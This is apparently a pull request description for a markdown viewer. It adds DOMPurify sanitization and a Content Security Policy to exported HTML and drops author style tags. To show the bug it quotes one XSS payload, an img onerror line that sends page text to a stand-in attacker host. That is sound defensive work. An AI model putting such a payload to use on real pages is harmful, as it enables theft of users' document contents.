fix(export): sanitize exported HTML

[PathGao]

Summary

The preview passes rendered markdown through DOMPurify. The export does not. comrak runs with unsafe_ = true, so raw HTML in a document survives into the exported file — and the export then offers to open it in the default browser, where nothing stands between the payload and the user.

<img src=x onerror="fetch('https://attacker.example/?'+encodeURIComponent(document.body.innerText))">

In the app this document looks harmless, because there the sanitizer is doing its job. The user has no reason to suspect the file they just exported and forwarded.

Confirmed, not assumed: an export-shaped page built from the raw comrak body and loaded in Chrome gives {"scriptRan": true, "onerrorRan": true} — inline <script> and the onerror above both execute today.

What changed

The policy moves to a shared module (utils/sanitize.ts) so preview and export cannot drift. The regexp is byte-identical to the one currently inline in the viewer. markdownLinkExtensions turned out to be a local const inside MarkdownViewer.svelte rather than in markdownLinks.ts, so the list is rebuilt in the new module and pinned by a test against hasMarkdownLinkExtension — no shared file had to be touched. Switching the preview across is a follow-up.

The export sanitizes the render output before its own processing. That puts the trust boundary exactly where the untrusted document enters. Everything after it — fold wrappers, chevron SVGs, callout containers, <video>/<audio> replacements, the front-matter <details> panel — is markup this app builds; filtering our own output only creates a way for a later tightening of the policy to silently drop parts of the export. Verified nothing downstream can reintroduce untrusted markup: processMarkdownHtml parses with DOMParser (inert) and its only innerHTML writes are its own constant SVG strings.

Author <style> is dropped. The preview injects rendered HTML into the app's own document, so a stylesheet inside a document has the same reach as the application's — enough to hide the title bar, or to beacon out through a background image. Nothing depends on it: the app's CSS, highlight.js and KaTeX are imported stylesheets, and Mermaid's inline <style> goes through the separate diagram config, untouched. The inline style attribute stays allowed — documents use it (<img style="width:50%">) and the media pipeline sets one.

Exported files carry a CSP, verified rather than guessed:

default-src 'none'; img-src data: https: http:; media-src data: https: http:;
style-src 'unsafe-inline'; font-src data:; base-uri 'none'; form-action 'none'

Probe pages built from the real module and loaded in Chrome over both http: and file: keep the copied stylesheet, inline style attributes, data-URI images, mask-image data URIs and remote https images. Meta CSP is enforced on file:; the only things it blocked there were already dead without it (leftover asset: URLs from images that failed to embed, and KaTeX's relative @font-face URLs, which 404 either way). It is also independent of the sanitizer: with CSP on an unsanitized body, script and onerror are both blocked — but the author <style> still applies, which is why FORBID_TAGS carries its own weight.

Validation

• npm run check — 0 errors, 0 warnings
• npm test — 212/212

Baseline counter-proof, two independent ones. In the browser, on today's code, the payload fires (above); running the real bundled DOMPurify with the new config on that exact payload returns <img src="x">. In the suite, with export.ts reverted to upstream, 3 of 7 new tests fail — precisely the export-path ones — and 7/7 with the fix.

Honest limitation: DOMPurify reports isSupported: false under node --test (no DOM, and node_modules is shared so adding jsdom was not an option). The test file therefore exercises the URI decision as a pure regexp applied exactly the way DOMPurify applies it, plus a deepEqual over the whole config that fails if anyone adds ADD_TAGS/ADD_ATTR/ALLOW_UNKNOWN_PROTOCOLS, plus the source-order assertion. The behavioural half is the Chrome run, and the test file says so in a comment rather than implying coverage it does not have.